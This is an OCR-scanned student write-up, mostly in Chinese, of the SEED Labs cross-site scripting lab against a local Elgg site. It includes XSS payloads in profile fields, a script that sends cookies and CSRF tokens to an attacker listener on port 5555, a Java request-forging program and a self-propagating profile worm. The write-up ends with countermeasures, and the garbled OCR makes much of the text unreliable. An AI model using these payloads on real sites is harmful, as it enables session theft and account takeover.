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1.7 J5 apache i 55 2%

sudo service apache?2 start

| * Starting web server apachez

[85/25/20815 20:19] seed@ubuntu:~$ sudo service apachez start p 1
/ L [ oK
[05/25/2015 20:28] seed@ubuntu:~$ Ji /
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@, XS5 Lab Site: All Site Activity

& | @ www.xsslabelgg.com/activity +@| [B~ coogle Q @
Most Visited + @ GettingStarted [@iSeed Labs +

elgg i gy A Settings Log out

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More Q Search
All Site Activity 2
All Mine Friends
| show All

. Samy is now a friend with Alice 16 days ago

a Alice has a new avatar 16 days ago

3.&Kalicefjprofile -1 A script

Edit profile
My display name

Alice

About me Hemove editor
B I U | i R E]

Hi,I'm alice.I'm a chinese and five years old!!

Word count: 11 p 4

' Public g

Brief description
good girl

|_Put;lic e

Location
[ Mars<script=alen('you are attacked by XSS'};k!scripp

4.aliceilBH, samy& 3% A3 alaliceft)profile



| D) xss Lab Site: Alice

&= | @ www.xsslabelgg.com/profile/alice + @ [B~ coogle

Most Visited v @ Getting Started [@iSeed Labs

Read www.xsslabelgg.com

Part-2
SEI6 P 2 A8 BRAS SO T A 2 B E AN ARED
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wW.XSSLabCollabtive.com

vW.SOPLab.com
www.SOPLabAttacker.com
wwwW.SOPLabCollabtive.com

ﬁ'ﬁmiginalphpﬂyﬂd“t“ .com

Www.CSRFLabElgg.com
www.X55LabElgg.com

~ www.SeedlLabElgg.com
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Example

|Hi, g
| <html
<
-

index.html myscripk.js

4.7 [\l www.example.combA i 56 & 75 0] 1E & 1 17

Mozilla Firefox

{1 hetp:/fwww.example.com/

I @ www.example.com

Most Visited v @ Getting Started [ESeed Labs v

Hi,gquys!!

5.5 HElgg, Llsamy& 148 A\ H-1&ssamyfiprofile, 7ELocation ¥ inin 4% AS:

<script type="text/javascript"
src="http://www.example.com/myscripts. js">
</script>

6.77 19 Elgg, BAalice & 47 % A 3V [l samy ] profile
M) XS5 Lab Site: Samy

& |<'§) www.xsslabelgg.com/profile/samy +~@| B~ coogle Q) {} Q

Most Visited + @ Getting Started [@iSeed Labs =

Read www.example.com
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1.Vj M ElggLlalice & BN, FHEAlicefiprofile, @sinun FAAD:



<scriptralert (document .cookie) j</script>

2. 95 Elggbisamy & 43BN, FH:i i aliceffiprofile

( Xss Lab site: Alice
&= |® www.xsslabelgg.com/profile/alice +@| B~ coogle Ql \J} ﬁ

Mosk Visited + @ Getting Started [@iSeed Labs »

Elgg=cg3v6geqd63b5cgk346aqctb60

Read www.xsslabelgg.com
fi. ER=
1. SEIG AR 5T F & i cookies
2. WP
Step-1: MSEEDLABS T #ktcp server, m 1217, it AL K1555550 M4 52 I #4E < #itcp serveriREL

Terminal

:bi ’!m ar légggﬁfs?sggf}gchoseruers . /echoserv 5555

Step-2: VjinElgg, lalice & 3 B A\ FH-4& itk i) profile, #E Location T H1 7 i o~ AR

<soriptrdocument .write ("<imy src=http://attacker IPF address:55557c="
+ escape (document .ocookie) + °F - S B
</soript>

Step-3:VjiHlElgg, LAsamy£r 43 & A I i alicefprofile
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= | @ www.xsslabelgg.com/profile/alice @

Most Visited + @ Getting Started [@Seed Labs =

Elgg=rvlets1dj9f7cn4gag5tg7dmc5

I £ & Bltcp server &3k E cookie -4 i B T ay 24T

ownloads/Server /echoserver$ ./echoserv 5555
tg7dmc5 HTTP/1.1

Y

75~ SEIG I

1.5256 ) 28 8 F 57 BRI Cookies #4172 1% $h 1

SRR RS 2 5 S useriy Malice i profilef, s # 5t & 3R B U userff] cookie LA &
__elgg_ts, elgg_token, %R J5 75 4 #i | F 5 U N 25 R 2 &1 K charliein v izuserf i &, X B #user

samy.
2. 52K R
Step-1:Llalice & 13 A\ Elgg 3 7E profileft]Location 5 5 ¥ bt T ARG

<script=
document.write('<img src=http://127.0.0.1:5555%¢c="
+escape(document.cookie)+'&'+elgg.security.token. elgg ts
+'&'+elgg.security.token. elgg token+' =');
k[script>>

Location
Mars<script=document.write('<img src=http://127.0.0.1:5555?c="+escape(document.cookie)+'&'+elgg.se

| Public Bl

Interests
Dance, Diving, etc

 Public 8|

skills



Step-2:1/ M ElggLhsamy & 1 B\ R 4t

€ %55 Lab site: All Site Activity
& = @ www.xsslabelgg.com/activity

f& Most Visited = [ ISEED Project @ GettingStarted [fiSeed Labs~

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More

All Site Activity

elbg N

All Mine Friends

' Samy is now a friend with Charlie 16 minutes ago

14

l Samy Is now a friend with Charlie 17 minutes age

L B |

Step-3: BB EF, VLIRESZEH Kcookie, elgg ts,elgg token.(3E 5 TH NS A TR S RS 8332 H G #
AF).

untu:~$ cd Downloads/Server/
'I.'founluads,e'ServerS cd echnserver!

Step-4:samyijj il alice i profile

© X5 Lab site: Alce

&= | @ www.xsslabelgg.com/profile/alice

[& Most Visited v [ ISEED Project @ Getting Started [j@iSeed Labs »
egg A & @

XSS Lab Site

Activity Blogs Bookmarks Files Groups + Maore

Alice
Brief description: good girl
Location: Mars=

Interests:
Dance, Diving, etc

Skills:
» sing, skating

Contact email: chinai@asia.com

 Add friend | Telephone: 000201

[ Report user | Mobile phone: 15729654327



X B W W A2 R 3R EX Bllcookie,elgg_ts, elgg._token:

[06/82/2815 85:33] seed@ubuntu:~5 cd Downloads/Server/
[06/02/2015 ©5:33] seed@ubuntu:~/Downloads/Server$ cd echoserver/
[06/062/2015 85:33] seed@ubuntu:-/Downloads/Serverfechoserver$ ./echoserv 5555

GET /?c=Elgg%3D5t8ss2g4puoq94fglafshereh1&143324850889e3382dbf220333204ce7dc205f
5091d HTTP/1.1

Wi & Foh R K S, &R 4Cent0S6.3
Step-5:1& i /etc/hosts ST, in T

sﬁﬂ Applications Places System CentOS

File Edit View Search Terminal Help

[@27.0.0.% localhost localhost.localdomain localhost4 localhost4.localdomaing

i | localhost localhost.localdomain localhosté localhost6.localdomaing
02 g.14 om

165.220 047 www.xsslabelgg.co I
—

bl

"/etc/hosts" [readonly] 4L, 225C 3,1 All [+]

Step-6:1# ALive HTTP headersW £ ElggH ¥ In i & B BIHT TPIE R L &5 0 W&

Live HTTP headers

| Headers | Generator Config | About

HTTP Headers
i http://www.xsslabelgg.com/action/friends/add?friend=398&__ elgg ts=1433250317&__elgg token=... |-

friends/add?friend=39& elgg ts=14332503178&_ elgg_token=678c8731a7e06f50693d... |-
Hosk: www.xsslabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Acceplt-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deﬂate
‘Referer: http://www.xsslabelgg.com/profile/alice '
Cookie: Elgg=5t8ss2g4puoq94fglafsherehi
Connection: keep-alive

HTTP/1.1 302 Found

Dakte: Tue, 02 Jun 2015 13:05:50 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT

|-
Farha Cankral na rkara e encha maack raslidabks mack chaclkon o nea chacl—n

| saveAll.. | | Replay.. | [] Capture | Clear || Close |
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lee@localhost:~/Downloads

File Edit View Search Terminal Help
HBnport java.io.*;
import java.net.¥;

public class HTTPSimpleForge{
public static vold main(String[] args) throws IOException{

try{
int responseCode;
InputStream responseIn=null;

—_— e —
_iizig String reguestDetails="& elgg ts41433248588& elgg tokenq9e3382dbf220333204ce7dc285
T509Ld' ;
//URL to be forged

URL url=new URL("http:ffwww.xsslabelgg.com{actionffriends/add?friend=4l"+requestDeta

//URLConnection instance is created to further parameterize a
//resource reguest past what the state members of URL instance
//can represent.
HttpURLConnection urlConn=(HttpURLConnectionjurl.openConnection();
if{urlConn instanceof HttpURLConnection){
1,1 Top

iff{urlConn instanceof HttpURLConnection){
urlConn.setConnectTimeout (60000) ;
urlConn.setReadTimeout(90008) ;
}
/faddRequestProperty method is used to add HTTP Header Information.
//Here we add User-Agent HTTP header to the forged HTTP packet.
//Add other necessary HTTP Headers yourself.Cookies should be stolen
//using the method in task3.

urlConn.addRequestProperty("Host", "www.xsslabelgg.com"};
urlConn.addRequestProperty("User-agent”, "Sun JDK !.5”);
urlConn.addRequestProperty(“Accept”, "text/himl,application/xhtml+xml,application/xml
:q=0.9,%/%;q=0.8") ;
urlConn.addRequestProperty("Accept- Language” "en-US,en;g=0.5"});
urlConn.addRequestProperty("Referer" Qo -rofllefcharlle”},
urlConn.addRequestProperty("Cookie",
urlConn.addRequestProperty("Connection’

I HTTP Post Data which includes the information to be sent to the server.
30,1 30%
e HTTP Post Data which includes the information to be sent to the server.

String data ="name=...&quid=..";

//Do0utput flag of URL Connection should be set to true
//to send HTTP POST message.

urlConn.setDoOutput(true};

//0utputStreamWriter is used to write the HTTP POST data to the url connection.
QutputStreamWriter wr=new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flushi();
//HttpURLConnection a subclass of URLConnection is returned by url.openConnection()
since the url is an http reguest.
if(urlConn instanceot HttpURLConnection){
HttpURLConnection httpConn=(HttpURLConnection)urlConn;
//Contacts the web server and gets the status code from
//HTTP Response message.
responseCode=httpConn.getResponseCode();
System.out.println("Response Code="+responseCode);
//HTTP status code HTTP_OK means the response was
l //received successfully.

33,1 65%

HI
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//received successfullyf
17 (responseCode==HttpURLConnection.HTTP OK||responseCode==302)
//GET the input stream from url connection object.
responseIn=urlConn.getInputStream();
//Create an instance for BufferedReader
//to read the response line by line.
BufferedReader buf inp=new BufferedReader(new InputStreamReader(responseln));
String inputlLine;
while((inputLine=buf inp.readLine())!=null)
System.out.println({inputLine);

}
}catch(MalformedURLException e}{
e.printStackTrace(};
1

}
¥

Step-8:4s ¥ 1217 tjavast 4 LA R e B -

lee@localhost:~/Downloads

File Edit View Search Terminal Help

[lee@localhost Downloads]$ javac HTTPSimpleForge.java
[lee@localhost Downloads]$ java HTTPSimpleForge
Response Code=280 =
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" “http:,’,’mm.w3.Urg,’TR,’xhth,’DTD,’xh
tmll-strict.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta hitp-equiv="Content-Type" content="text/html; charset=utf-8" /=

<meta name="ElggRelease" content="1.8.19" />

<meta name="ElggVersion" content="2014012000" /=

<title=XsS Lab Site: Charlie</title>

<link rel="SHORTCUT ICON" href="http://www.xsslabelgg.com/ graphics/favicon.ico" />

<link rel="stylesheet" href="htip://www.xsslabelgg.com/cache/css/default/elgg.141086
4370.cs5" type="text/css" />

<l--[if gt IE 7]=
<link rel="stylesheet" type="text/css" href="http://www.xsslabelgg.com/cache
Jcss/default/ie. 1410864378, cs5" />
<![epdif]--=
<!--[if IE 7]=
<link rel="stylesheet" type="text/css" href="http://www.xsslabelgg.com/cache[-]

MR 45 3R R I HittpiR [F155 25200, P 25 2 html SCRS
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(©, XSS Lab Site: Samy's friends _

@ | @& www.xsslabelgg.com/Friends/samy

| Bl Most Visited v+ {}SEED Project @ Getting Started [fiSeed La
egg A & &

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More

‘ Samy's friends
i Na friends yet.

|
Y 2




roject @ GettingStarted [@Seed Labs~

XSS Lab Site

Activity Blogs Bookmarks Files Groups

Samy's friends

1 Charlie
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Step-1: & & f# FLive HTTP headers& & ElggH P &2 B S profilelt & 1% KIhttpid 3K i B Ak 2, a0

2 Live HTTP headers

| Headers  Generator Config About

HTTP Headers
http://www.xsslabelgg.com/faction/profile/edit

POST faction/profile/edit HTTP/1.1

~Host: www.xsslabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko,/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,applicationfxml;q=0.9,*/*;,q=0.8 \
Acceptlanguage: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/alice/edit
Cookie: Elgg=jm1b8j77288p4scarldob3sl37
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1407

__elgg_token=2f0297328278a8c25838356a78063bfe&  elgg_ts=1433343112&name=Alice&descr...

HTTP/1.1 302 Found
Dake: Wed, 03 Jun 2015 14:52:02 GMT |

Earuar: Anachal? 2 939 Nihuankol
1 [ 1 | b
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var nod=documentflgetElementsByClassName("elgg-border-plain elgg-transition");
var user=nod|0].attributes.getNamedItem("alt").nodeValue;
if(useri="Boby'){
| var ajax=nullj
ajax=new XMLHttpRequest();
if(ajax==null)
alert("a]ax.is null");
ajax.open("POST","http: //www.xsslabelgg.comfaction/profile/edit",true);
ajax.setRequestHeader("Host", "www.xsslabelgg.com");
ajax.setRequestHeader("User-Agent","AJAX 1.2");
ajax.setRequestHeader("Accept","text/html,application/xhtml+xml,application/x
ml;q=0.9,*/*;:q=0.8");
ajax.setRequestHeader ("Accept-Language","en-US,en;g=0.5");
ajax.setRequestHeader("Accept-Enceding","azip, deflate"),
var node=document.getElementsByClassName("elgg-border-plain elgg-transition”)

var username=node[0].attributes.getNamedItem("alt").nodeValue;

ajax.setRequestHeader ("Refer","http://www.xsslabelgg.com/pr
Jedit");

ajax.setRequestHeader("Cookie" ,document.cookie);

ajax.setRequestHeader(' Connectlon" ,"keep-alive");

ajax.setRequestHeader("Content- Type" "application/x-www- form urlﬂncoded")“

var content="__elgg_token="+elgg.security.token.__elgg_token+" =‘¥§§
gg.security.token.__elgg_ts+"&name="+username+"&description=I' gutd- +elg
g.session.user.guid;

ajax.setRequestHeader("Content-Length", cnnt&nt length);

ajax.send{content);

}

Step-3: EAboby & 4 & A\ ElggFf & i H profile, 7ELocationTii H s inan AR HS:

Location

china=<script type="text/javascript’ src="hitp:/fww.example.com/worm.js"></script>

7 :www.example.comfic & fn T :

1.8 %t /etc/hosts

127.0.0.1 localhost
127.68.1.1 ~ ubuntu

#add www.example.con
127.0.0.1 WWW . exanple@
# The following lines are for SEED labs

2 1Bt /etc/apache2/site-available/default

<VirtualHost *:80=
Serveriams www.wtlabadserver.com
DocumentRoot /var/www/webtracking/adserver
Errorlog fvar/log/apache2/error.loeg
LogLevel debug
CustomlLog fvar/log/fapache2faccess.log combined
i< fVirtualHost> :f
<VirtualHost *:80=> I
ServerName www.example.com f
| DocumentRoot Jvar/www/Example

<;’V1rtuEIHust> - ‘

3.1 /var/www T Fr i Example it H



Terminal

5 Us
SQL webtracking XSS

cd Example/

[www/ExampleS s

[var [www/Example$

Step-4:Lhcharlie & # & A\ Elgg, & & B . iprofile

egg N 2 @

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More

Charlie
Mobile phone: 10086110

[ Edit avatar

Step-5:1 i boby I profile, i ¥k £ & charlie ] profile

elogg A

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More

Boby

' Location: china

| Add friend

| Report user |




G xs5 Labsite: charle
H“"—-—.—.

& @ 'J.f'v‘.fw.J-:sslabelgg.com,ﬁpmﬂie;’cnar@
—_—
Most Visited v [ ISEED Project @ Getting Started [Seed Labs~

elgg H & @

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More

Charlie
About me
m Jesus

Edit avatarJ

o LB TE W, 2 EEH KA RA Mprofilef B#E T, RBT 7 XdE& B T Kabout mefs 2. R BRI
43 A] LAME S L TH R JSR AR Hr content A 2%, 24 SR 38 23 R Elgg HI A R E K .

W RAB R ik 2 F A nsamy N iF &, AT BLS% BB K BLR E— AN SRR AR IT. R RE EEKJISHA
NN insamy B 45 & AR R AT

Done! !
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page_owner . quid;

ef( Host“ "WWW . xsslabelgg c:um“),
_der("User Agent" BAIAN 1.2");:

er("Accept"”,"text/html,application/xhtml+xml,application/xm

ader("Accept-Language","en-US,en;q=0.5");
Eder("Ai:cept Encoding”, "gz1.p deﬂate")

L/
edith):

ajax. mtﬁequestl-leader("cuokte“ document.cookie);
ajaXasetRequestHeader( 'Connection”,"keep-alive");
ajax. _sg!__l:_!:_g_e_questHeader(_"Cantent—Type" i "applicatiun,{;ﬁlﬁmﬂ-ﬁurm-urlqg'gpded"

r r("#Zookie"” ,doc nt A£ookie);
= tl-Eead '{:unnectwn" " p alive");
estHead Content- Type" lication/x-www-form
t="__ elgg_ taken-— '+elgg. securtty token.__elgg_to
g- secur‘[t .token._elgg_ts+"&name="+username+"&description=

'alanb'l.a-r:script type=\"text/javascript\" src=\"http:\/\/www.exs
js\“:-v:\[s rtpt:s&gutd-"+elgg session.user.guid;

ajax. setﬁequestHeader("CGntent -Length",content.length);
: ax.send(content); ;

Step-2: LABoby & 1 & A\Elgg, FH&kHprofile, 7ELocationiH#sin:

: <script type="text/javascript”

- e m\jxss WO

src="http://www.example.com/xss worm.js"></scriptpk

Step-3:LAcharlie & 431 I Elgg, 31/ i7bobyfiprofile

|@.xss Lab Site: Boby l_

& @ waww xsslabelgg.com/profile/boby

& Most Visited » [ ISEED Project @ Getting Started [f@Seed
egg A & @

XSS Lab Site

Activity Blegs Bookmarks Files Groups

v More

Boby

Location: Chile

About me
hi.i'm boby!!

| Add friend |

| Report user;|



X & E charlieffprofile:

| @ xs5 Lab Site: Charlie

& @ x-\.n"w.fv.f.xsslabelgg.comm-ejchar;ﬁ'/
S

Most Visited + [ ISEED Project @ GettingStarted [fiSeed Labs~

elbg N

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More

Charlie

Location: Kalambia
—— i
About me
I'm Caesaer
_._.——l-"'-'-

| Edit avatar ' Edit avatar |

Step-4:lalice &t % A Elgg, 3V [d charlie ¥y profile:

@ XS5 Lab Site: Charle P

= |® www.xsslabelgg. com]p ofile/charlie

[ Most Visited v [ SEEDPmMarted [&iSeed Li

elbg K 2

XSS Lab Site

Activity Blogs Bookmarks Files Groups v More

&

Charlie

Add friend

B, EABBEHANE??

B 7E Bhcharlie 5 4 B A Elgg, Vi i B S profile, i —iREdit profile, i midisave, 2R 5B i, FLlalice& A\,
Vi) charlieftprofile:



& @ v.fww.x5slabelgg.conﬂproﬁie;cha.-'t‘re \

f& Most Visited » [ }SEED Proje gsStarted [fiSeed Lal

elgg K

XSS Lab Site

Activity Blogs Bookmarks Files Groups » Maore

Charlie
Location: Kalambia

About me
I'm Caesaer

| Add friend |

B, AR T XRAA? RBAKN
I 2 Falice i profile:

& @ v.fww.x5slabelgg.conﬂproﬁie;cha.-'t‘re \

& Most Visited = [ I SEED Projei gStarted [@Seed Lal

elgg  F

XSS Lab Site

Activity Blogs Bookmarks Files Groups » More

Charlie

Location: Kalambia

About me

I'm Caesaer

| Add friend |

S

gFIe, REEUIF R B2 B K 58X A Task.
Juv ERE

1. SER N A BUEEIggH I R XSS Bg
2. ERPR:



Step-1:Bladmin & 43% A Elgg

[@xssLabsite: Alisite activity [
& (@ ~C@|[B-rcooge al & £
Most Visited v [ iSEED Project @ GettingStarted [@iSeed Labs =

elgg L] &g = A, Administration A, Settings

w.xsslabelgg.com/»

XSS Lab Site

YA Blogs  Bookmarks  Files  Groups v More

All Site Activity *8

| sShow All =l

l Samy is now a friend with Charlie 2 days ago

= L T P T T L —

Step-2: f i Plugins, #iEFHTMLawed 1.8

XSS Lab Site Administration

3 Admini
Plugins
= = Dashboan
Activate All Deactivate All
» Statistic
| Security and Spam ;| m
» Users
| Priorikty = Sort
- » Utilities

HTMLawed 1.8 _
Config

Provides security filtering. Running a site with this plugin disabled is extremely
insecure. DO NOT DISABLE. » Appears
Author: Core developers - hitpi/iwww.elgg.org/
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text.php:

'//SEED: Modift n
/funcomment the below "echo htmlspecialchars" statement and comment the "echo $v
‘ars['value'’ to enable countermeasure.

!ﬁcha htmlspecialchars(Svars['value'], ENT_QUOTES, 'UTF-8"', false);

‘echo Svars['value']; A

tagcloud.php:



']) && lempty(Svars['value'])) {
1 = Svars['value'];

//SEED: Modified to enable XSsS. _
_ ~ [/uncomment the below "$tag->tag = htmlspecia
o enable countermeasure.

. _ Stag->tag = htmlspecialchars(S$tag->tag
se); ' _
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